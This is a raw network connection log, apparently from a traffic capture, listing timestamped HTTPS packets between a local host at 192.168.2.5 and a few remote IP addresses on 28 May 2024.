May 28, 2024 00:44:24.153135061 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.153208971 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.153217077 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.153253078 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.154316902 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.154331923 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.154402018 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.154407978 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.154438972 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.154459953 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.242835045 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.242855072 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.242935896 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.242994070 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.243056059 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.289472103 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.289490938 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.289562941 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.289623022 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.289685011 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.293143988 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.293158054 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.293210983 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.293222904 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.293262005 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.305519104 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.305533886 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.305592060 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.305607080 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.305654049 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.314301968 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.314321995 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.314385891 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.314402103 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.314446926 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.314764977 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.314780951 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.314836979 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.314841986 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.314881086 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.335221052 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.335242033 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.335306883 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.335374117 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.335414886 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.335438967 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.335887909 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.335902929 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.335971117 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.335988045 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.336039066 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.345381021 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.345438004 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.345454931 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.345498085 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.345508099 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.345529079 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.345541000 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.345573902 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.345801115 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.345815897 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.668761969 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.668793917 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.668854952 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.672077894 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.672091961 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.674011946 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.674056053 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.674118996 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.675160885 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.675179005 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.682718992 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.682729959 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.682823896 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.683520079 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.683532953 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.687268019 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.688164949 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.688174009 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.688477039 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.688999891 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.689052105 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.689248085 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.730536938 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.732017040 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.732057095 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.732208014 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.732425928 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.732448101 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.732747078 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.732753992 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.732867002 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.733264923 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.733277082 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.784956932 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.785043001 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.805639029 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.805663109 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.805898905 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.807250977 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.807285070 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.807346106 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.807846069 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.807854891 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.807991028 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.808249950 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.808265924 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.809590101 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.809603930 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.814552069 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.857784033 CEST	443	49703	23.1.237.91	192.168.2.5
May 28, 2024 00:44:24.857868910 CEST	49703	443	192.168.2.5	23.1.237.91
May 28, 2024 00:44:24.862503052 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:25.054543018 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:25.054610014 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:25.054667950 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:25.057353020 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:25.057400942 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:25.057432890 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:25.057447910 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:25.086332083 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.086369038 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.086445093 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.086492062 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.086492062 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.090419054 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.090437889 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.221656084 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.221699953 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.221759081 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.222378969 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.222394943 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.482074022 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.482471943 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.482491016 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.483617067 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.484098911 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.484267950 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.484297037 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.492583036 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.492796898 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.492809057 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.493665934 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.493729115 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.494143963 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.494196892 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.494307995 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.502351046 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.502527952 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.502540112 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.503432989 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.503513098 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.504482985 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.504553080 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.504688025 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.504695892 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.526422977 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.526530027 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.527045012 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.527076960 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.527381897 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.527800083 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.528815031 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.528873920 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.529102087 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.538494110 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.542124033 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.542133093 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.543989897 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.570509911 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.576332092 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.576746941 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.576761007 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.580317020 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.580382109 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.581069946 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.581151962 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.581343889 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.590131044 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.626507044 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.631913900 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.632384062 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.632427931 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.635211945 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.635224104 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.636024952 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.636127949 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.639868975 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.639947891 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.640353918 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.640362024 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.650604010 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.651143074 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.651153088 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.652046919 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.652113914 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.653244019 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.653301954 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.653845072 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.653855085 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.682857990 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.682925940 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.698350906 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.853308916 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.853323936 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.853378057 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.853408098 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.853547096 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.853590965 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.854047060 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.854059935 CEST	443	49729	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.854069948 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.854105949 CEST	49729	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.877429962 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.877454042 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.877506018 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.877512932 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.877553940 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.878498077 CEST	49728	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.878515005 CEST	443	49728	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.879961014 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.879983902 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.879992008 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.880023956 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.880052090 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.880064964 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.880080938 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.880091906 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.880108118 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.880143881 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.881133080 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.881143093 CEST	443	49727	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.881151915 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.881190062 CEST	49727	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.894217968 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.894352913 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.894594908 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.894833088 CEST	49730	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.894839048 CEST	443	49730	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.949949980 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.950352907 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.950407982 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.951033115 CEST	49731	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.951045036 CEST	443	49731	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.953206062 CEST	49736	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.953228951 CEST	443	49736	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.953299046 CEST	49736	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.953861952 CEST	49737	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.953869104 CEST	443	49737	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.953918934 CEST	49737	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.954382896 CEST	49736	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.954397917 CEST	443	49736	213.180.193.247	192.168.2.5
May 28, 2024 00:44:25.954550982 CEST	49737	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:25.954560041 CEST	443	49737	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009449959 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009509087 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009530067 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009568930 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009605885 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009605885 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.009690046 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.009733915 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.009733915 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.009767056 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.010943890 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.011030912 CEST	443	49732	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.011100054 CEST	49732	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.012135983 CEST	49738	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.012160063 CEST	443	49738	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.012289047 CEST	49738	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.012562990 CEST	49738	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.012572050 CEST	443	49738	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.065881968 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.065944910 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.065965891 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.066008091 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.066006899 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.066056013 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.066082954 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.066111088 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.066111088 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.066138029 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.071054935 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.071144104 CEST	443	49733	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.071214914 CEST	49733	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.080169916 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.085670948 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.085695028 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.087183952 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.087249994 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.089354038 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.089438915 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.089529037 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.089545012 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.138531923 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.210627079 CEST	49739	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.210644007 CEST	443	49739	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.210721016 CEST	49739	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.211586952 CEST	49739	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.211596966 CEST	443	49739	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.212197065 CEST	49740	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.212275982 CEST	443	49740	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.212374926 CEST	49740	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.212825060 CEST	49740	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.212852001 CEST	443	49740	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.231893063 CEST	49741	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.231920004 CEST	443	49741	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.232160091 CEST	49741	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.232532978 CEST	49741	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.232557058 CEST	443	49741	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.233534098 CEST	49742	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.233551979 CEST	443	49742	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.233611107 CEST	49742	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.233979940 CEST	49742	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.234003067 CEST	443	49742	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.234437943 CEST	49743	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.234456062 CEST	443	49743	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.234539032 CEST	49743	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.234977961 CEST	49743	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.234999895 CEST	443	49743	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.235804081 CEST	49744	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.235862017 CEST	443	49744	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.235925913 CEST	49744	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.236466885 CEST	49744	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.236496925 CEST	443	49744	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.237849951 CEST	49745	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.237876892 CEST	443	49745	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.237942934 CEST	49745	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.238389969 CEST	49745	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.238416910 CEST	443	49745	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.463601112 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.463622093 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.463660002 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.463705063 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.463781118 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.463818073 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.463968039 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.464077950 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.501374960 CEST	49735	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.501434088 CEST	443	49735	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.785228014 CEST	443	49736	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.808465004 CEST	443	49737	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.835565090 CEST	49736	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.836920977 CEST	443	49738	213.180.193.247	192.168.2.5
May 28, 2024 00:44:26.851598978 CEST	49737	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.888051987 CEST	49738	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.899092913 CEST	49738	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:26.899102926 CEST	443	49738	213.180.193.247	192.168.2.5
